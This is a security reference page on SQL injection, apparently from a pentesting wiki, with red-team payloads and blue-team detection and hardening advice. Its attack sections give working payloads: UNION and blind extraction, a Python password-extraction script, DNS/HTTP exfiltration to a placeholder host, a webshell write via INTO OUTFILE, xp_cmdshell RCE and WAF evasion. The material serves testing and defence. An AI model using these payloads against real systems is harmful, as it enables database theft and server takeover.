SQL Injection (SQLi)
Injection of SQL syntax into a query the app builds with user input. Depending on the engine and the DB account’s privileges, it ranges from reading the whole database to OS command execution on the server. Despite being one of the oldest vulnerabilities, it remains one of the highest-impact ones, and underlies many of the largest breaches in history.
flowchart LR
A[Attacker] -->|"' OR 1=1-- "| APP["App (concatenates input)"]
APP -->|"altered SQL query"| DB[(Database)]
DB -->|"data or login bypass"| APP
APP -->|"response"| A
Threat model
Section titled “Threat model”What the attacker gains depends on the engine, privileges and architecture:
- Data read: dump users, hashes, PII, config secrets.
- Authentication bypass:
' OR 1=1-- -on login. - Write: modify prices, roles, balances (depending on the query).
- File read/write:
LOAD_FILE,INTO OUTFILE(with privilege). - RCE:
xp_cmdshell(MSSQL),COPY ... TO PROGRAM(Postgres), UDF (MySQL). - Pivot: from the DB server into the internal network.
Anatomy
Section titled “Anatomy”The app concatenates input into a statement sent to the DBMS. The context drives the exploit:
- String
'...'→ close and rebalance quotes. - Numeric (no quotes) → direct injection.
- Identifier (column/table, typical in
ORDER BY) → not parameterizable. LIMIT/IN()/ORDER BY→ special contexts.
Each engine (MySQL/MariaDB, PostgreSQL, MSSQL, Oracle, SQLite) has its own
functions, comments and metadata. Identifying the DBMS is the first step:
information_schema (MySQL/MSSQL/Postgres), sys.* (MSSQL), all_tables/dual
(Oracle), sqlite_master (SQLite). Comments: -- -, #, /* */.
Variants
Section titled “Variants”- In-band — error-based (engine leaks data in error messages) and UNION-based (append columns with arbitrary data).
- Inferential / blind — boolean (page changes on true/false) and time-based (conditional delays when there’s no visible difference).
- Out-of-band (OOB) — exfiltration over another channel (DNS/HTTP) when there’s no output or reliable timing.
- Stacked queries — chain statements (
; INSERT...), driver-dependent. - Second-order — the payload is stored and runs in a later query (e.g. at signup, then in an internal report).
Red Team
Section titled “Red Team”Discovery and fingerprint
Section titled “Discovery and fingerprint”-- break and boolean logicid=3' -- error / change ⇒ suspiciousid=3 AND 1=1 vs 1=2 -- confirms boolean injectionid=3'||''=' -- string context (Oracle/Postgres)
-- column count (for UNION)' ORDER BY 5-- - -- increase until error' UNION SELECT NULL,NULL,NULL-- - -- tune count and types
-- engine fingerprint' UNION SELECT @@version,NULL-- - -- MySQL/MSSQL' UNION SELECT version(),NULL-- - -- Postgres' UNION SELECT banner,NULL FROM v$version-- - -- OracleExploitation — extraction (UNION / error-based)
Section titled “Exploitation — extraction (UNION / error-based)”-- schema (MySQL)' UNION SELECT table_name,column_name FROM information_schema.columns-- -' UNION SELECT user,password FROM users-- -
-- error-basedMySQL: ' AND extractvalue(1,concat(0x7e,(SELECT @@version)))-- -MSSQL: ' AND 1=CONVERT(int,(SELECT @@version))-- -Exploitation — blind (boolean / time)
Section titled “Exploitation — blind (boolean / time)”' AND substring((SELECT password FROM users LIMIT 1),1,1)='a'-- - -- boolean' AND IF(1=1,SLEEP(5),0)-- - -- MySQL (time)'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE 0 END-- - -- Postgres'; IF (1=1) WAITFOR DELAY '0:0:5'-- - -- MSSQLExploitation — OOB, files and RCE
Section titled “Exploitation — OOB, files and RCE”-- OOB (DNS exfil)MSSQL: '; EXEC master..xp_dirtree '\\'+(SELECT TOP 1 pass FROM users)+'.oob.tld\x'-- -Oracle: ' AND (SELECT UTL_HTTP.REQUEST('http://oob.tld/'||(SELECT ...)) FROM dual)=1-- -
-- file read/write (requires privilege)MySQL: ' UNION SELECT LOAD_FILE('/etc/passwd'),NULL-- -MySQL: ' UNION SELECT '<?php system($_GET[c]);?>',NULL INTO OUTFILE '/var/www/sh.php'-- -
-- RCE per engineMSSQL: '; EXEC xp_cmdshell 'whoami'-- -Postgres: '; COPY (SELECT '') TO PROGRAM 'id'-- - (or UDF / lo_export)MySQL: UDF (lib_mysqludf_sys) -> sys_exec('...')By hand (no sqlmap)
Section titled “By hand (no sqlmap)”Mastering the manual method lets you adapt the attack and evade when the automated tool fails or gets flagged.
- Fire each request with Burp Repeater or
curland compare responses:Ventana de terminal curl -s "https://app.tld/item?id=3'" # SQL error?curl -s "https://app.tld/item?id=3 AND 1=1" # vs 3 AND 1=2 - Count columns with
ORDER BY Nup to the error, and find the reflected ones withUNION SELECT 1,2,3. - Dump through those columns:
' UNION SELECT 1,table_name,3 FROM information_schema.tables-- -. - For time-based blind, script the character-by-character extraction yourself
(this is literally what sqlmap does under the hood):
import requests, stringbase, found = "https://app.tld/item", ""for pos in range(1, 33):for ch in string.printable.strip():p = f"3' AND IF(SUBSTRING((SELECT password FROM users LIMIT 1),{pos},1)='{ch}',SLEEP(3),0)-- -"if requests.get(base, params={"id": p}, timeout=10).elapsed.total_seconds() > 3:found += ch; print(found); break
WAF evasion
Section titled “WAF evasion”Inline comments (/*!50000UNION*/), mixed case, UNION→UNION ALL/parentheses,
spaces → /**//%0a/+, URL/double/unicode/hex encoding, keyword splitting,
equivalent operators (LIKE for =, || for OR). sqlmap --tamper includes
space2comment, charencode, between, randomcase, etc.
Tooling
Section titled “Tooling”sqlmap (--dbs --dump, --technique=BEUST, --os-shell, --file-read/--file-write,
--tamper=..., --risk/--level), ghauri (fast blind), NoSQLMap (NoSQL).
Impact and chaining
Section titled “Impact and chaining”Full dump, login bypass, hash theft → cracking (hashcat), secret reads, RCE and internal pivot. A SQLi in a minor endpoint can lead to full platform compromise.
Blue Team
Section titled “Blue Team”Detection
Section titled “Detection”- DBMS auditing (pgAudit, SQL Server Audit, MySQL audit plugin): alert on
UNION SELECT,information_schema/sqlite_masterfrom the app account,xp_cmdshell,COPY ... PROGRAM,INTO OUTFILE,LOAD_FILE. - Blind signals:
SLEEP/BENCHMARK/pg_sleep/WAITFOR, repeated anomalous latencies, bursts of near-identical requests (boolean brute force). - OOB: outbound DNS/HTTP from the DB server to unknown domains.
- WAF with signatures and anomaly; in SIEM, correlate SQL errors (500/messages) after input with quotes/metacharacters.
Telemetry and sources
Section titled “Telemetry and sources”DB audit logs, app logs with the query/template, WAF, data-segment egress, APM for latency.
Hardening
Section titled “Hardening”- Parameterized queries / prepared statements for all data access (the root fix). For dynamic identifiers (not parameterizable), allow-list permitted values.
- Least privilege for the app account: no
FILE,xp_cmdshelldisabled, no DBA,local_infile=0, only the needed grants. - Network separation: the DB server with no Internet egress.
- ORM/safe-by-default queries; review
raw()/string building in code review. - WAF as an extra layer, never the only one.
Response
Section titled “Response”Rotate exposed credentials/secrets, assess dump scope, hunt for written webshells/files, patch the injection point and deploy a detection rule.
CVEs and real-world cases
Section titled “CVEs and real-world cases”- Heartland Payment Systems (2008) — a SQLi was the entry point for one of the largest card breaches in history (~130 million).
- Sony Pictures (2011, LulzSec) — SQLi exposing data of millions of users stored in cleartext.
- TalkTalk (2015) — SQLi on their website; data of ~157,000 customers and a record ICO fine.
- Ransomware/theft campaigns — SQLi as initial access still appears in current DFIR reports.
SQLi is the OWASP Top 10 Injection category. Product-specific CVEs in NVD (https://nvd.nist.gov/vuln/search) and GitHub Advisories (https://github.com/advisories).
Testing checklist
Section titled “Testing checklist”- Contexts tested: string, numeric, identifier (
ORDER BY),LIMIT/IN. - Injection confirmed (error / boolean / time) and DBMS fingerprinted.
- Extraction demonstrated (UNION/error) or, if blind, an extraction PoC.
- OOB reviewed when there’s no output; files/RCE tested per privilege.
- WAF evaluated and, where applicable, bypassed.
- Impact documented with a minimal PoC, without harming/exfiltrating real data.